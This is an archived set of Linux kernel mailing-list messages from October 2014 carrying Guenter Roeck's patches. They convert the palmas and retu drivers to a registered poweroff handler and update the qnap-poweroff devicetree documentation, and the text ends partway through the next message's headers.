	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Samuel Ortiz
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 07 07:29:47 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XbNLD-0002Dp-5r
	for glk-linux-kernel-3@plane.gmane.org; Tue, 07 Oct 2014 07:29:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753371AbaJGF30 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:26 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40222 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753294AbaJGF3U (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 7 Oct 2014 01:29:20 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=S43PgswNqqxpYh10AHneJ6OTl/IqMCEOwGzzM9XPqeE=;
	b=xDRleZJseO9wHZTRBrs1e1nGRQ+PBTrmmCD7/iCfWaMsu47lTKMSoU9zwSWVT8K0iHom5GmgbWa4xEZcnG6c5saWbfmJsUUfyrtrLoEPir/mdRk+rq2gR+nenrzKdV7uQ3sGQfVUbT5V4oY2O3QbrRlZjbGCt15fClpc1HciN7E=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKp-002aOW-FH
	for linux-kernel@vger.kernel.org; Tue, 07 Oct 2014 05:29:19 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32904 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKo-002aNb-P6; Tue, 07 Oct 2014 05:29:19 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54337A2F.00CB,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 43
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1802436 gmane.linux.drivers.devicetree:93026 gmane.linux.kernel.virtualization.lguest:1445 gmane.linux.acpi.devel:71259 gmane.linux.ports.alpha:2430 gmane.linux.kernel.efi:4713 gmane.linux.ports.hexagon:777 gmane.linux.ports.ppc64.devel:105856 gmane.linux.ports.tegra:19459 gmane.linux.kernel.openipmi:2436 gmane.linux.uml.devel:14649 gmane.linux.ports.arm.kernel:362331 gmane.linux.ports.ia64:24466 gmane.linux.kernel.metag:297 gmane.linux.ports.mips.general:44147 gmane.linux.ports.parisc:6072 gmane.linux.power-management.general:50601 gmane.linux.ports.sh.devel:39770
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1802436>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Samuel Ortiz <sameo@linux.intel.com>
Cc: Lee Jones <lee.jones@linaro.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/mfd/palmas.c       | 30 +++++++++++++++++-------------
 include/linux/mfd/palmas.h |  3 +++
 2 files changed, 20 insertions(+), 13 deletions(-)

diff --git a/drivers/mfd/palmas.c b/drivers/mfd/palmas.c
index 28cb048..4d78847 100644
--- a/drivers/mfd/palmas.c
+++ b/drivers/mfd/palmas.c
@@ -19,6 +19,7 @@
 #include <linux/i2c.h>
 #include <linux/interrupt.h>
 #include <linux/irq.h>
+#include <linux/pm.h>
 #include <linux/regmap.h>
 #include <linux/err.h>
 #include <linux/mfd/core.h>
@@ -425,20 +426,18 @@ static void palmas_dt_to_pdata(struct i2c_client *i2c,
 			"ti,system-power-controller");
 }
 
-static struct palmas *palmas_dev;
-static void palmas_power_off(void)
+static int palmas_power_off(struct notifier_block *this, unsigned long unused1,
+			    void *unused2)
 {
+	struct palmas *palmas = container_of(this, struct palmas, poweroff_nb);
 	unsigned int addr;
 	int ret, slave;
 
-	if (!palmas_dev)
-		return;
-
 	slave = PALMAS_BASE_TO_SLAVE(PALMAS_PMU_CONTROL_BASE);
 	addr = PALMAS_BASE_TO_REG(PALMAS_PMU_CONTROL_BASE, PALMAS_DEV_CTRL);
 
 	ret = regmap_update_bits(
-			palmas_dev->regmap[slave],
+			palmas->regmap[slave],
 			addr,
 			PALMAS_DEV_CTRL_DEV_ON,
 			0);
@@ -446,6 +445,8 @@ static void palmas_power_off(void)
 	if (ret)
 		pr_err("%s: Unable to write to DEV_CTRL_DEV_ON: %d\n",
 				__func__, ret);
+
+	return NOTIFY_DONE;
 }
 
 static unsigned int palmas_features = PALMAS_PMIC_FEATURE_SMPS10_BOOST;
@@ -668,9 +669,15 @@ no_irq:
 		ret = of_platform_populate(node, NULL, NULL, &i2c->dev);
 		if (ret < 0) {
 			goto err_irq;
-		} else if (pdata->pm_off && !pm_power_off) {
-			palmas_dev = palmas;
-			pm_power_off = palmas_power_off;
+		} else if (pdata->pm_off) {
+			palmas->poweroff_nb.notifier_call = palmas_power_off;
+			palmas->poweroff_nb.priority = 64;
+			ret = register_poweroff_handler(&palmas->poweroff_nb);
+			if (ret) {
+				dev_err(palmas->dev,
+					"Failed to register poweroff handler");
+				ret = 0;
+			}
 		}
 	}
 
@@ -698,10 +705,7 @@ static int palmas_i2c_remove(struct i2c_client *i2c)
 			i2c_unregister_device(palmas->i2c_clients[i]);
 	}
 
-	if (palmas == palmas_dev) {
-		pm_power_off = NULL;
-		palmas_dev = NULL;
-	}
+	unregister_poweroff_handler(&palmas->poweroff_nb);
 
 	return 0;
 }
diff --git a/include/linux/mfd/palmas.h b/include/linux/mfd/palmas.h
index fb0390a..4715057 100644
--- a/include/linux/mfd/palmas.h
+++ b/include/linux/mfd/palmas.h
@@ -18,6 +18,7 @@
 
 #include <linux/usb/otg.h>
 #include <linux/leds.h>
+#include <linux/notifier.h>
 #include <linux/regmap.h>
 #include <linux/regulator/driver.h>
 #include <linux/extcon.h>
@@ -68,6 +69,8 @@ struct palmas {
 	struct i2c_client *i2c_clients[PALMAS_NUM_CLIENTS];
 	struct regmap *regmap[PALMAS_NUM_CLIENTS];
 
+	struct notifier_block poweroff_nb;
+
 	/* Stored chip id */
 	int id;
 
-- 
1.9.1


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 11/44] mfd: retu: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:13 -0700
Lines: 108
Approved: news@gmane.org
Message-ID: <1412659726-29957-12-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659794 25664 80.91.229.3 (7 Oct 2014 05:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:29:54 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Lee Jones <l
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Oct 07 07:29:48 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XbNLF-0002Dp-81
	for lnx-linux-alpha@plane.gmane.org; Tue, 07 Oct 2014 07:29:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753509AbaJGF3n (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:43 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40388 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753470AbaJGF3i (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Tue, 7 Oct 2014 01:29:38 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=pf3Wqv8RXr+QDjTYgi/Q0BsjSDErAoFO624WxNptY/U=;
	b=bZtl9hC2ADfkNTIdoxpjEHa8y5VM2lyWS4gILaayRBZbQBkgKxTHDFjdPcCqlyyVkpRzPsAjWpXO740Ixqu8uUJApbPf/9L8w7WV0Z/txidC3QaNrSySfQnr9aADeaAfjFkU0hReaOb/CC20/6V37TpTonLhzcHaiLveZgpEIoc=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNL7-002bQm-ML
	for linux-alpha@vger.kernel.org; Tue, 07 Oct 2014 05:29:37 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32906 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKt-002aTM-6u; Tue, 07 Oct 2014 05:29:23 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020208.54337A42.0007,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 160
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2431 gmane.linux.kernel:1802437 gmane.linux.drivers.devicetree:93027 gmane.linux.kernel.virtualization.lguest:1446 gmane.linux.acpi.devel:71260 gmane.linux.kernel.efi:4714 gmane.linux.ports.hexagon:778 gmane.linux.ports.ppc64.devel:105857 gmane.linux.ports.tegra:19460 gmane.linux.kernel.openipmi:2437 gmane.linux.uml.devel:14650 gmane.linux.ports.arm.kernel:362332 gmane.linux.ports.ia64:24467 gmane.linux.kernel.metag:298 gmane.linux.ports.mips.general:44148 gmane.linux.ports.parisc:6073 gmane.linux.power-management.general:50602 gmane.linux.ports.sh.devel:39771
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2431>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Lee Jones <lee.jones@linaro.org>
Cc: Samuel Ortiz <sameo@linux.intel.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/mfd/retu-mfd.c | 33 +++++++++++++++++++--------------
 1 file changed, 19 insertions(+), 14 deletions(-)

diff --git a/drivers/mfd/retu-mfd.c b/drivers/mfd/retu-mfd.c
index 663f8a3..64b60fa 100644
--- a/drivers/mfd/retu-mfd.c
+++ b/drivers/mfd/retu-mfd.c
@@ -22,6 +22,8 @@
 #include <linux/slab.h>
 #include <linux/mutex.h>
 #include <linux/module.h>
+#include <linux/notifier.h>
+#include <linux/pm.h>
 #include <linux/regmap.h>
 #include <linux/mfd/core.h>
 #include <linux/mfd/retu.h>
@@ -43,6 +45,7 @@ struct retu_dev {
 	struct device			*dev;
 	struct mutex			mutex;
 	struct regmap_irq_chip_data	*irq_data;
+	struct notifier_block		poweroff_nb;
 };
 
 static struct resource retu_pwrbutton_res[] = {
@@ -81,9 +84,6 @@ static struct regmap_irq_chip retu_irq_chip = {
 	.ack_base	= RETU_REG_IDR,
 };
 
-/* Retu device registered for the power off. */
-static struct retu_dev *retu_pm_power_off;
-
 static struct resource tahvo_usb_res[] = {
 	{
 		.name	= "tahvo-usb",
@@ -165,12 +165,14 @@ int retu_write(struct retu_dev *rdev, u8 reg, u16 data)
 }
 EXPORT_SYMBOL_GPL(retu_write);
 
-static void retu_power_off(void)
+static int retu_power_off(struct notifier_block *this, unsigned long unused1,
+			  void *unused2)
 {
-	struct retu_dev *rdev = retu_pm_power_off;
+	struct retu_dev *rdev = container_of(this, struct retu_dev,
+					     poweroff_nb);
 	int reg;
 
-	mutex_lock(&retu_pm_power_off->mutex);
+	mutex_lock(&rdev->mutex);
 
 	/* Ignore power button state */
 	regmap_read(rdev->regmap, RETU_REG_CC1, &reg);
@@ -183,7 +185,9 @@ static void retu_power_off(void)
 	for (;;)
 		cpu_relax();
 
-	mutex_unlock(&retu_pm_power_off->mutex);
+	mutex_unlock(&rdev->mutex);
+
+	return NOTIFY_DONE;
 }
 
 static int retu_regmap_read(void *context, const void *reg, size_t reg_size,
@@ -279,9 +283,13 @@ static int retu_probe(struct i2c_client *i2c, const struct i2c_device_id *id)
 		return ret;
 	}
 
-	if (i2c->addr == 1 && !pm_power_off) {
-		retu_pm_power_off = rdev;
-		pm_power_off	  = retu_power_off;
+	if (i2c->addr == 1) {
+		rdev->poweroff_nb.notifier_call = retu_power_off;
+		rdev->poweroff_nb.priority = 64;
+		ret = register_poweroff_handler(&rdev->poweroff_nb);
+		if (ret)
+			dev_err(rdev->dev,
+				"Failed to register poweroff handler\n");
 	}
 
 	return 0;
@@ -291,10 +299,7 @@ static int retu_remove(struct i2c_client *i2c)
 {
 	struct retu_dev *rdev = i2c_get_clientdata(i2c);
 
-	if (retu_pm_power_off == rdev) {
-		pm_power_off	  = NULL;
-		retu_pm_power_off = NULL;
-	}
+	unregister_poweroff_handler(&rdev->poweroff_nb);
 	mfd_remove_devices(rdev->dev);
 	regmap_del_irq_chip(i2c->irq, rdev->irq_data);
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 07/44] qnap-poweroff: Drop reference to pm_power_off from devicetree bindings
Date: Mon,  6 Oct 2014 22:28:09 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <1412659726-29957-8-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659794 25668 80.91.229.3 (7 Oct 2014 05:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:29:54 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Rob Herring
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Oct 07 07:29:50 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XbNLJ-0002Dp-Dj
	for lnx-linux-alpha@plane.gmane.org; Tue, 07 Oct 2014 07:29:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753562AbaJGF3s (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:48 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40382 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753463AbaJGF3h (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Tue, 7 Oct 2014 01:29:37 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=fD06dG8SQ62nXw9VVhR1FS+Wpq813TK7ktqA6PlV+yc=;
	b=6ADP5gE91z03FukcVhUoi6+FSfuklut1j2qFZfB9QofyjUib2eTdGKPE1pcsoxHicjrNfdzGpJ6wahNSJ9t+WPooKY8qJbUPHmSd8QJlF+5f7Tcspr+R1vKl/Ni1UqG2ujGaIJbmEcTCg5reNwMZjVTyOu1MUMIuXLOIuJ3fAHY=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNL7-002b8y-0x
	for linux-alpha@vger.kernel.org; Tue, 07 Oct 2014 05:29:37 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32900 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKh-002a15-Ll; Tue, 07 Oct 2014 05:29:12 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A41.005A,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 154
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2432 gmane.linux.kernel:1802438 gmane.linux.drivers.devicetree:93028 gmane.linux.kernel.virtualization.lguest:1447 gmane.linux.acpi.devel:71261 gmane.linux.kernel.efi:4715 gmane.linux.ports.hexagon:779 gmane.linux.ports.ppc64.devel:105858 gmane.linux.ports.tegra:19461 gmane.linux.kernel.openipmi:2438 gmane.linux.uml.devel:14651 gmane.linux.ports.arm.kernel:362333 gmane.linux.ports.ia64:24468 gmane.linux.kernel.metag:299 gmane.linux.ports.mips.general:44149 gmane.linux.ports.parisc:6074 gmane.linux.power-management.general:50603 gmane.linux.ports.sh.devel:39772
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2432>

Replace reference to pm_power_off (which is an implementation detail)
and replace it with a more generic description of the driver's functionality.

Cc: Rob Herring <robh+dt@kernel.org>
Cc: Pawel Moll <pawel.moll@arm.com>
Cc: Mark Rutland <mark.rutland@arm.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt b/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
index af25e77..1e2260a 100644
--- a/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
+++ b/Documentation/devicetree/bindings/power_supply/qnap-poweroff.txt
@@ -3,8 +3,8 @@
 QNAP NAS devices have a microcontroller controlling the main power
 supply. This microcontroller is connected to UART1 of the Kirkwood and
 Orion5x SoCs. Sending the character 'A', at 19200 baud, tells the
-microcontroller to turn the power off. This driver adds a handler to
-pm_power_off which is called to turn the power off.
+microcontroller to turn the power off. This driver installs a handler
+to power off the system.
 
 Synology NAS devices use a similar scheme, but a different baud rate,
 9600, and a different character, '1'.
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 12/44] mfd: ab8500-sysctrl: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:14 -0700
Lines: 103
Approved: news@gmane.org
Message-ID: <1412659726-29957-13-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659794 25673 80.91.229.3 (7 Oct 2014 05:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:29:54 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
